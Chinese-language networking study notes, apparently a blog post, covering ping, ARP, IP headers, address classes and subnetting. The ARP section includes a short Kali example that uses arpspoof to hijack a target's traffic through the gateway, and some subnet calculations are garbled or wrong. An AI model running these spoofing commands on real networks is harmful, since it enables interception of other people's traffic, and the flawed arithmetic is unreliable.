网络协议和管理

3.3 Internet 层
在这里插入图片描述
3.3.1 Internet Control Message Protocol
ICMP简述:
它是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。

ping原理:
向指定的网络地址发送一定长度的数据包,按照约定,若指定网络地址存在的话,会返回同样大小的数据包,当然,若在特定时间内没有返回,就是“超时”,会被认为指定的网络地址不存在。

示例:
ping -l 300  -n 10 192.168.12.101

其他参数:
-l 参数用来设定数据包的大小的
-n 自定义发送数据包的个数
-t 设置Ping不断向指定的计算机发送报文

3.3.2 Address Resolution Protocol
ARP简述:
网络层以上的协议用IP地址来标识网络接口,以太数据帧传输时,以物理地址来标识网络接口。因此我们需要进行IP地址与物理地址之间的转化。

主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确
定目标的物理地址;收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次
请求时直接查询ARP缓存以节约资源。

地址解析协议是建立在网络中各个主机互相信任的基础上的,局域网络上的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性就会将其记入本机ARP缓存

arp原理:
每个主机都会在自己的 ARP 缓冲区中建立一个 ARP 列表,以表示 IP 地址和 MAC 地址之间的对应关系。
主机(网络接口)新加入网络时(也可能只是mac地址发生变化,接口重启等), 会发送免费ARP报文把
自己IP地址与Mac地址的映射关系广播给其他主机。
网络上的主机接收到免费ARP报文时,会更新自己的ARP缓冲区。将新的映射关系更新到自己的ARP表中。
某个主机需要发送报文时,首先检查 ARP 列表中是否有对应 IP 地址的目的主机的 MAC 地址,如果有,则
直接发送数据,如果没有,就向本网段的所有主机发送 ARP 数据包,该数据包包括的内容有:源主机 IP 
地址,源主机 MAC 地址,目的主机的 IP 地址等。

当本网络的所有主机收到该 ARP 数据包时:
(A)首先检查数据包中的 IP 地址是否是自己的 IP 地址,如果不是,则忽略该数据包。
(B)如果是,则首先从数据包中取出源主机的 IP 和 MAC 地址写入到 ARP 列表中,如果已经存在,则覆盖。
(C) 然后将自己的 MAC 地址写入 ARP 响应包中,告诉源主机自己是它想要找的 MAC 地址。
源主机收到 ARP 响应包后。将目的主机的 IP 和 MAC 地址写入 ARP 列表,并利用此信息发送数据。如果
源主机一直没有收到 ARP 响应数据包,表示 ARP 查询失败。

同网段ARP:
1.发送arp请求给每台主机(广播),arp请求帧包含目的主机IP地址
2.目的主机收到了ARP请求之后,发送ARP应答,里面包含了目的主机的MAC地址。

示例:
查看arp 表
在这里插入图片描述
示例:
arp静态绑定防止arp欺骗
arp -s 10.2.172.176 00:50:56:9b:46:95

范例:kali 系统实现 arp 欺骗上网流量劫持

#启动路由转发功能
[root@kali ~]# echo 1 > /proc/sys/net/ipv4/ip_forward
#安装包
[root@kali ~]# apt-get install dsniff 
#欺骗目标主机,本机是网关
[root@kali ~]# arpspoof -i eth0 -t 被劫持的目标主机IP 网关IP
#欺骗网关,本机是目标主机
[root@kali ~]# arpspoof -i eth0 -t 网关IP 被劫持的目标主机IP

3.2.2.2 Gratuitous ARP
免费ARP简述:
当主机启动的时候,将发送一个Gratuitous arp请求,即请求自己的ip地址的
mac地址

免费ARP可以有两个方面的作用:

  • 验证IP是否冲突:一个主机可以通过它来确定另一个主机是否设置了相同的 IP地址
  • 更换物理网卡:如果发送ARP的主机正好改变了物理地址(如更换物理网卡),可以使用此方法通 知网络中其它主机及时更新ARP缓

3.3.3 Reverse Address Resolution Protocol
RARP 即将MAC转换成IP

3.3.4 internet 协议
3.3.4.1 Internet 协议特征
运行于 OSI 网络层
面向无连接的协议
独立处理数据包
分层编址
尽力而为传输
无数据恢复功能

3.3.4.2 IP PDU 报头
在这里插入图片描述
IP PDU 报头格式

  • 版本:占4位,指 IP 协议的版本目前的IP协议版本号为4
  • 首部长度:占4位,可表示的最大数值是15个单位,一个单位为4字节,因此IP 的首部长度的最大值是 60字节
  • 总长度:占16位,指首部和数据之和的长度,单位为字节,因此数据报的最大长度为 65535 字节.总长度 必须不超过最大传送单元 MTU
  • 标识:占16位,它是一个计数器,通常,每发送一个报文,该值会加1, 也用于数据包分片,在同一个 包的若干分片中,该值是相同的
  • 标志(flag):占3位,目前只有后两位有意义 DF: Don’t Fragment 中间的一位,只有当 DF=0 时才允许分片 MF:
    More Fragment 最后一位,MF=1表示后面还有分片,MF=0 表示最后一个分片 IP PDU 报头
  • 片偏移:占13位,指较长的分组在分片后,该分片在原分组中的相对位置.片偏移以8个字节为偏移单 位
  • 生存时间:占8位,记为TTL (Time To Live) 数据报在网络中可通过的路由器数的最大值,TTL 字段是由 发送端初始设置一个
    8 bit字段.推荐的初始值由分配数字 RFC 指定,当前值为 64.发送 ICMP 回显应 答时经常把 TTL 设为最大值 255
  • 协议:占8位,指出此数据报携带的数据使用何种协议以便目的主机的IP层将数据部分上交给哪个处理 过程, 1表示为 ICMP 协议, 2表示为
    IGMP 协议, 6表示为 TCP 协议, 17表示为 UDP 协议 首部检验和:占16位,只检验数据报的首部不检验数据部分.这里不采用
    CRC 检验码而采用简单的计 算方法
  • 源地址和目的地址:都各占4字节,分别记录源地址和目的地址

在这里插入图片描述

范例:如何查看IP冲突的主机

[root@node01 ~]# arping  -c 3 -f -I eth0 -D 10.2.172.168
ARPING 10.2.172.168 from 0.0.0.0 eth0
Sent 3 probes (3 broadcast(s))
Received 0 response(s)

-c count : how many packets to send
-f : quit on first reply
-I device : which ethernet device to use
-D : duplicate address detection mode

Received 0 response(s) 返回为空,表示没有冲突

两个主机之间的通信过程:

  1. 知道对方IP
  2. 路由
  3. ARP-> 通过IP找到MAC
  4. TCP三次握手
  5. 实现通信(osi七层逐层封包解包)

3.5 IP地址
3.5.1 IP地址组成
IP地址由两部分组成
网络ID:标识网络,每个网段分配一个网络ID,处于高位
主机 ID:标识单个主机,由组织分配给各设备,处于低位

3.5.2 IP地址分类
在这里插入图片描述

A类:
0 0000000 - 0 1111111.X.Y.Z : 0-127.X.Y.Z
网络ID位是最高8位,主机ID是24位低位
网络数:126=2^7(可变是的网络ID位数)-2
每个网络中的主机数:2^24-2=16777214
默认子网掩码:255.0.0.0
私网地址:10.0.0.0
范例:114.114.114.114,8.8.8.8,1.1.1.1,58.87.87.99,119.29.29.29
B类:
10 000000 - 10 111111.X.Y.Z:128-191.X.Y.Z
网络ID位是最高16位,主机ID是16位低位
网络数:2^14=16384
每个网络中的主机数:2^16-2=65534
默认子网掩码:255.255.0.0
私网地址:172.16.0.0-172.31.0.0
范例:180.76.76.76,172.16.0.1

C类:
110 0 0000 - 110 1 1111.X.Y.Z: 192-223.X.Y.Z
网络ID位是最高24位,主机ID是8位低位
网络数:2^21=2097152
每个网络中的主机数:2^8-2=254
默认子网掩码:255.255.255.0
私网地址:192.168.0.0-192.168.255.0
范例: 223.6.6.6

D类:
组(多)播,1110 0000 - 1110 1111.X.Y.Z: 224-239.X.Y.Z

E类:保留未使用,240-255

3.5.3 公共和私有IP地址
私有IP地址:不直接用于互联网,通常在局域网中使用
A 10.0.0.0 - 10.255.255.255
B 172.16.0.0 - 172.31.255.255
C 192.168.0.0 - 192.168.255.255

公共IP地址:互联网上设备拥有的唯一地址
A
1.0.0.0 - 9.255.255.255
11.0.0.0 - 126.255.255.255
B
128.0.0.0- 172.15.255.255
172.32.0.0- 191.255.255.255
C
192.0.0.0- 192.167.255.255
192.169.0.0- 223.255.255.255

3.5.4 特殊地址

  • 0.0.0.0

    它表示所有不清楚的主机和目的网络,0.0.0.0不是一个真正意义上的IP地址。

  • 255.255.255.255

    限制广播地址。对本机来说,这个地址指本网段内(同一广播域)的所有主机

  • 127.0.0.1~127.255.255.254
    本机回环地址,主要用于测试。在传输介质上永远不应该出现目的地址为“127.0.0.1”的数据包

  • 224.0.0.0到239.255.255.255
    组播地址,224.0.0.1特指所有主机,224.0.0.2特指所有路由器。224.0.0.5指OSPF 路由器,地址
    多用于一些特定的程序以及多媒体程序

  • 169.254.x.x
    如果Windows主机使用了DHCP自动分配IP地址,而又无法从DHCP服务器获取地址,系统会为主
    机分配这样地址

3.5.5 保留地址
网络地址
广播地址

范例:
172.16.0.0 网络中的两个地址:172.16.0.0 172.16.255.255

3.5.6 子网掩码
网络号+主机号=32位
CIDR:无类域间路由,目前的网络已不再按A,B,C类划分网段,可以任意指定网段的范围
CIDR 无类域间路由表示法:IP/网络ID位数,如:172.16.0.100/16
netmask子网掩码:32位或128位(IPv6)的数字,和IP成对使用,用来确认IP地址中的网络ID和主机
ID,对应网络ID的位为1,对应主机ID的位为0,范例:255.255.255.0 ,表现为连续的高位为1,连续的低
位为0

相关公式:
一个网络的最多的主机数=2^主机ID位数-2
网络(段)数=2^网络ID中可变的位数
网络ID=IP与netmask

判断对方主机是否在同一个网段:
用自已的子网掩码分别和自已的IP及对方的IP相与,比较结果,相同则同一网络,不同则不同网段

范例:
netmask: 255.255.224.0,网络ID位:19 主机ID位:13,主机数=2^13-2=8190
范例:判断A和B是否在网一个网段?
A: 192.168.1.100 netmask:255.255.255.0
B: 192.168.2.100 netmask:255.255.0.0

不在。
11000000. 10101000. 00000001. 01100100
11111111. 1111111. 00000000. 0000000
进行与运算得:192.168.1.0

11000000.10101000.00000010.00000000.00000000
11111111.  11111111.  11111111. 00000000.00000000

进行与运算得:192.168.2.0
网络ID相同才能算一个网段,一个是192.168.1.0 一个是192.168.2.0

24位子网掩码有多少个IP地址?
一共有256个IP地址。
24位子网掩码:255.255.255.0 ;
转换成十进制:11111111.11111111.11111111.00000000;
1为网络位0为主机位;
00000000 变化最小为0最大为255;
一共:0-255(256个ip地址)。

范例:一个主机:172.16.1.100/28 1、此主机所在的网段最多有多少主机?主机数=2^(32-28)-2=14 2、网络ID?
IP和子网掩码相与得到172.16.1.96 3、此网段的主机中最小的IP:172.16.1.97,最大的IP?172.16.1.110

3.5.7 划分子网
划分子网:将一个大的网络(主机数多)划分成多个小的网络(主机数少),主机ID位数变少,网络ID
位数变多,网络ID位向主机ID位借位

中国移动10.0.0.0/8 给32个省公司划分子网 网段数: 32 = 2的5次方,借5位 掩码则
00001010.00000000.00000000.00000000 借5位
11111111.11111000.00000000.00000000 新的子网掩码等于
255.248.0.0 每个公司存放的主机数 网络号增加:9+5 =13 主机号减少:32-13=19 主机数量=2的19次方减2 =524286 (一个省52万主机)

某省份得到第10个子网,那么他的网络ID是多少?
1.首先网络号借5位得
10.00000
2.接下来第10个,即+9 9= 1001
3. (1)+(2) 所以得
10.01001 也就是
00001010.01001000.00000000.00000000
10.72.0.0/13 最小IP和最大IP多少?
10.72.0.1/13
10.72.0.254/13

最小子网和最大子网netid是多少?
10.0.0.0/13
10.248.0.0/13

查看网卡驱动名称
ethtool -i eth0

 **driver: vmxnet3**
version: 1.4.16.0-k-NAPI
firmware-version: 
expansion-rom-version: 
bus-info: 0000:0b:00.0
supports-statistics: yes
supports-test: no
supports-eeprom-access: no
supports-register-dump: yes
supports-priv-flags: no

卸载网卡驱动
modprobe -r vmxnet3
//ssh会话会断开,只能控制台操作
生成网卡驱动
modprobe vmxnet3

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值